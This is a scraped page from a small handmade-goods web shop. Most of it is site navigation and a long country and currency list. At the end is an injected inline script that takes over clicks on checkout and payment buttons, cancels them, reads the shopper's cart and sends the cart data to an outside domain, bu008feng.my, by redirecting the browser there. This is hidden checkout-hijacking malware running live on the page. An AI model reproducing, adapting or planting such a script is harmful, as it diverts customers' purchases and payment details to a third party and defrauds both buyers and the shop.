Skip to content
$5 Tracked shipping on orders over $200 for US and Canada
Home
Shop Handmade
Shop Handmade
Everyday Fashion
Explore the Realms/Themes
Classic Gear
Ready to Ship
Gifts Under $100
All Products
Shop Do-it-Yourself
Shop Do-it-Yourself
Patterns
Kits
Art Packs
Workshops
About
About
FAQs
Meet the Team
See How It's Made
Contact
Log in
Country/region
Canada | CAD $
Search
Canada
CAD $
Germany
EUR €
United Kingdom
GBP £
United States
USD $
Afghanistan
AFN ؋
Åland Islands
EUR €
Albania
ALL L
Algeria
DZD د.ج
Andorra
EUR €
Angola
USD $
Anguilla
XCD $
Antigua & Barbuda
XCD $
Argentina
USD $
Armenia
AMD դր.
Aruba
AWG ƒ
Ascension Island
SHP £
Australia
AUD $
Austria
EUR €
Azerbaijan
AZN ₼
Bahamas
BSD $
Bahrain
USD $
Bangladesh
BDT ৳
Barbados
BBD $
Belarus
USD $
Belgium
EUR €
Belize
BZD $
Benin
XOF Fr
Bermuda
USD $
Bhutan
USD $
Bolivia
BOB Bs.
Bosnia & Herzegovina
BAM КМ
Botswana
BWP P
Brazil
USD $
British Indian Ocean Territory
USD $
British Virgin Islands
USD $
Brunei
BND $
Bulgaria
EUR €
Burkina Faso
XOF Fr
Burundi
BIF Fr
Cambodia
KHR ៛
Cameroon
XAF CFA
Canada
CAD $
Cape Verde
CVE $
Caribbean Netherlands
USD $
Cayman Islands
KYD $
Central African Republic
XAF CFA
Chad
XAF CFA
Chile
USD $
China
CNY ¥
Christmas Island
AUD $
Cocos (Keeling) Islands
AUD $
Colombia
USD $
Comoros
KMF Fr
Congo - Brazzaville
XAF CFA
Congo - Kinshasa
CDF Fr
Cook Islands
NZD $
Costa Rica
CRC ₡
Côte d’Ivoire
XOF Fr
Croatia
EUR €
Curaçao
ANG ƒ
Cyprus
EUR €
Czechia
CZK Kč
Denmark
DKK kr.
Djibouti
DJF Fdj
Dominica
XCD $
Dominican Republic
DOP $
Ecuador
USD $
Egypt
EGP ج.م
El Salvador
USD $
Equatorial Guinea
XAF CFA
Eritrea
USD $
Estonia
EUR €
Eswatini
USD $
Ethiopia
ETB Br
Falkland Islands
FKP £
Faroe Islands
DKK kr.
Fiji
FJD $
Finland
EUR €
France
EUR €
French Guiana
EUR €
French Polynesia
XPF Fr
French Southern Territories
EUR €
Gabon
XOF Fr
Gambia
GMD D
Georgia
USD $
Germany
EUR €
Ghana
USD $
Gibraltar
GBP £
Greece
EUR €
Greenland
DKK kr.
Grenada
XCD $
Guadeloupe
EUR €
Guatemala
GTQ Q
Guernsey
GBP £
Guinea
GNF Fr
Guinea-Bissau
XOF Fr
Guyana
GYD $
Haiti
USD $
Honduras
HNL L
Hong Kong SAR
HKD $
Hungary
HUF Ft
Iceland
ISK kr
India
INR ₹
Indonesia
IDR Rp
Iraq
USD $
Ireland
EUR €
Isle of Man
GBP £
Israel
ILS ₪
Italy
EUR €
Jamaica
JMD $
Japan
JPY ¥
Jersey
USD $
Jordan
USD $
Kazakhstan
KZT ₸
Kenya
KES KSh
Kiribati
USD $
Kosovo
EUR €
Kuwait
USD $
Kyrgyzstan
KGS som
Laos
LAK ₭
Latvia
EUR €
Lebanon
LBP ل.ل
Lesotho
USD $
Liberia
USD $
Libya
USD $
Liechtenstein
CHF CHF
Lithuania
EUR €
Luxembourg
EUR €
Macao SAR
MOP P
Madagascar
USD $
Malawi
MWK MK
Malaysia
MYR RM
Maldives
MVR MVR
Mali
XOF Fr
Malta
EUR €
Martinique
EUR €
Mauritania
USD $
Mauritius
MUR ₨
Mayotte
EUR €
Mexico
USD $
Moldova
MDL L
Monaco
EUR €
Mongolia
MNT ₮
Montenegro
EUR €
Montserrat
XCD $
Morocco
MAD د.م.
Mozambique
USD $
Myanmar (Burma)
MMK K
Namibia
USD $
Nauru
AUD $
Nepal
NPR Rs.
Netherlands
EUR €
New Caledonia
XPF Fr
New Zealand
NZD $
Nicaragua
NIO C$
Niger
XOF Fr
Nigeria
NGN ₦
Niue
NZD $
Norfolk Island
AUD $
North Macedonia
MKD ден
Norway
USD $
Oman
USD $
Pakistan
PKR ₨
Palestinian Territories
ILS ₪
Panama
USD $
Papua New Guinea
PGK K
Paraguay
PYG ₲
Peru
PEN S/
Philippines
PHP ₱
Pitcairn Islands
NZD $
Poland
PLN zł
Portugal
EUR €
Qatar
QAR ر.ق
Réunion
EUR €
Romania
RON Lei
Russia
USD $
Rwanda
RWF FRw
Samoa
WST T
San Marino
EUR €
São Tomé & Príncipe
STD Db
Saudi Arabia
SAR ر.س
Senegal
XOF Fr
Serbia
RSD РСД
Seychelles
USD $
Sierra Leone
SLL Le
Singapore
SGD $
Sint Maarten
ANG ƒ
Slovakia
EUR €
Slovenia
EUR €
Solomon Islands
SBD $
Somalia
USD $
South Africa
USD $
South Georgia & South Sandwich Islands
GBP £
South Korea
KRW ₩
South Sudan
USD $
Spain
EUR €
Sri Lanka
LKR ₨
St. Barthélemy
EUR €
St. Helena
SHP £
St. Kitts & Nevis
XCD $
St. Lucia
XCD $
St. Martin
EUR €
St. Pierre & Miquelon
EUR €
St. Vincent & Grenadines
XCD $
Sudan
USD $
Suriname
USD $
Svalbard & Jan Mayen
USD $
Sweden
SEK kr
Switzerland
CHF CHF
Taiwan
TWD $
Tajikistan
TJS ЅМ
Tanzania
TZS Sh
Thailand
THB ฿
Timor-Leste
USD $
Togo
XOF Fr
Tokelau
NZD $
Tonga
TOP T$
Trinidad & Tobago
TTD $
Tristan da Cunha
GBP £
Tunisia
USD $
Türkiye
USD $
Turkmenistan
USD $
Turks & Caicos Islands
USD $
Tuvalu
AUD $
U.S. Outlying Islands
USD $
Uganda
UGX USh
Ukraine
UAH ₴
United Arab Emirates
AED د.إ
United Kingdom
GBP £
United States
USD $
Uruguay
UYU $U
Uzbekistan
UZS so'm
Vanuatu
VUV Vt
Vatican City
EUR €
Venezuela
USD $
Vietnam
VND ₫
Wallis & Futuna
XPF Fr
Western Sahara
MAD د.م.
Yemen
YER ﷼
Zambia
USD $
Zimbabwe
USD $
Language
English
English
Français
Facebook
Pinterest
Instagram
TikTok
YouTube
Country/region
Canada | CAD $
Search
Canada
CAD $
Germany
EUR €
United Kingdom
GBP £
United States
USD $
Afghanistan
AFN ؋
Åland Islands
EUR €
Albania
ALL L
Algeria
DZD د.ج
Andorra
EUR €
Angola
USD $
Anguilla
XCD $
Antigua & Barbuda
XCD $
Argentina
USD $
Armenia
AMD դր.
Aruba
AWG ƒ
Ascension Island
SHP £
Australia
AUD $
Austria
EUR €
Azerbaijan
AZN ₼
Bahamas
BSD $
Bahrain
USD $
Bangladesh
BDT ৳
Barbados
BBD $
Belarus
USD $
Belgium
EUR €
Belize
BZD $
Benin
XOF Fr
Bermuda
USD $
Bhutan
USD $
Bolivia
BOB Bs.
Bosnia & Herzegovina
BAM КМ
Botswana
BWP P
Brazil
USD $
British Indian Ocean Territory
USD $
British Virgin Islands
USD $
Brunei
BND $
Bulgaria
EUR €
Burkina Faso
XOF Fr
Burundi
BIF Fr
Cambodia
KHR ៛
Cameroon
XAF CFA
Canada
CAD $
Cape Verde
CVE $
Caribbean Netherlands
USD $
Cayman Islands
KYD $
Central African Republic
XAF CFA
Chad
XAF CFA
Chile
USD $
China
CNY ¥
Christmas Island
AUD $
Cocos (Keeling) Islands
AUD $
Colombia
USD $
Comoros
KMF Fr
Congo - Brazzaville
XAF CFA
Congo - Kinshasa
CDF Fr
Cook Islands
NZD $
Costa Rica
CRC ₡
Côte d’Ivoire
XOF Fr
Croatia
EUR €
Curaçao
ANG ƒ
Cyprus
EUR €
Czechia
CZK Kč
Denmark
DKK kr.
Djibouti
DJF Fdj
Dominica
XCD $
Dominican Republic
DOP $
Ecuador
USD $
Egypt
EGP ج.م
El Salvador
USD $
Equatorial Guinea
XAF CFA
Eritrea
USD $
Estonia
EUR €
Eswatini
USD $
Ethiopia
ETB Br
Falkland Islands
FKP £
Faroe Islands
DKK kr.
Fiji
FJD $
Finland
EUR €
France
EUR €
French Guiana
EUR €
French Polynesia
XPF Fr
French Southern Territories
EUR €
Gabon
XOF Fr
Gambia
GMD D
Georgia
USD $
Germany
EUR €
Ghana
USD $
Gibraltar
GBP £
Greece
EUR €
Greenland
DKK kr.
Grenada
XCD $
Guadeloupe
EUR €
Guatemala
GTQ Q
Guernsey
GBP £
Guinea
GNF Fr
Guinea-Bissau
XOF Fr
Guyana
GYD $
Haiti
USD $
Honduras
HNL L
Hong Kong SAR
HKD $
Hungary
HUF Ft
Iceland
ISK kr
India
INR ₹
Indonesia
IDR Rp
Iraq
USD $
Ireland
EUR €
Isle of Man
GBP £
Israel
ILS ₪
Italy
EUR €
Jamaica
JMD $
Japan
JPY ¥
Jersey
USD $
Jordan
USD $
Kazakhstan
KZT ₸
Kenya
KES KSh
Kiribati
USD $
Kosovo
EUR €
Kuwait
USD $
Kyrgyzstan
KGS som
Laos
LAK ₭
Latvia
EUR €
Lebanon
LBP ل.ل
Lesotho
USD $
Liberia
USD $
Libya
USD $
Liechtenstein
CHF CHF
Lithuania
EUR €
Luxembourg
EUR €
Macao SAR
MOP P
Madagascar
USD $
Malawi
MWK MK
Malaysia
MYR RM
Maldives
MVR MVR
Mali
XOF Fr
Malta
EUR €
Martinique
EUR €
Mauritania
USD $
Mauritius
MUR ₨
Mayotte
EUR €
Mexico
USD $
Moldova
MDL L
Monaco
EUR €
Mongolia
MNT ₮
Montenegro
EUR €
Montserrat
XCD $
Morocco
MAD د.م.
Mozambique
USD $
Myanmar (Burma)
MMK K
Namibia
USD $
Nauru
AUD $
Nepal
NPR Rs.
Netherlands
EUR €
New Caledonia
XPF Fr
New Zealand
NZD $
Nicaragua
NIO C$
Niger
XOF Fr
Nigeria
NGN ₦
Niue
NZD $
Norfolk Island
AUD $
North Macedonia
MKD ден
Norway
USD $
Oman
USD $
Pakistan
PKR ₨
Palestinian Territories
ILS ₪
Panama
USD $
Papua New Guinea
PGK K
Paraguay
PYG ₲
Peru
PEN S/
Philippines
PHP ₱
Pitcairn Islands
NZD $
Poland
PLN zł
Portugal
EUR €
Qatar
QAR ر.ق
Réunion
EUR €
Romania
RON Lei
Russia
USD $
Rwanda
RWF FRw
Samoa
WST T
San Marino
EUR €
São Tomé & Príncipe
STD Db
Saudi Arabia
SAR ر.س
Senegal
XOF Fr
Serbia
RSD РСД
Seychelles
USD $
Sierra Leone
SLL Le
Singapore
SGD $
Sint Maarten
ANG ƒ
Slovakia
EUR €
Slovenia
EUR €
Solomon Islands
SBD $
Somalia
USD $
South Africa
USD $
South Georgia & South Sandwich Islands
GBP £
South Korea
KRW ₩
South Sudan
USD $
Spain
EUR €
Sri Lanka
LKR ₨
St. Barthélemy
EUR €
St. Helena
SHP £
St. Kitts & Nevis
XCD $
St. Lucia
XCD $
St. Martin
EUR €
St. Pierre & Miquelon
EUR €
St. Vincent & Grenadines
XCD $
Sudan
USD $
Suriname
USD $
Svalbard & Jan Mayen
USD $
Sweden
SEK kr
Switzerland
CHF CHF
Taiwan
TWD $
Tajikistan
TJS ЅМ
Tanzania
TZS Sh
Thailand
THB ฿
Timor-Leste
USD $
Togo
XOF Fr
Tokelau
NZD $
Tonga
TOP T$
Trinidad & Tobago
TTD $
Tristan da Cunha
GBP £
Tunisia
USD $
Türkiye
USD $
Turkmenistan
USD $
Turks & Caicos Islands
USD $
Tuvalu
AUD $
U.S. Outlying Islands
USD $
Uganda
UGX USh
Ukraine
UAH ₴
United Arab Emirates
AED د.إ
United Kingdom
GBP £
United States
USD $
Uruguay
UYU $U
Uzbekistan
UZS so'm
Vanuatu
VUV Vt
Vatican City
EUR €
Venezuela
USD $
Vietnam
VND ₫
Wallis & Futuna
XPF Fr
Western Sahara
MAD د.م.
Yemen
YER ﷼
Zambia
USD $
Zimbabwe
USD $
Language
English
English
Français
Search
Log in
Cart
Item added to your cart
View cart
Check out
Continue shopping
YMQ redirect validation 19bab8f470
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_19bab8f470__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_19bab8f470__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_19bab8f470__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-19bab8f470'], ['transaction_id', '19bab8f4708d04e94f0368f74da77489'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();
Choosing a selection results in a full page refresh.
Opens in a new window.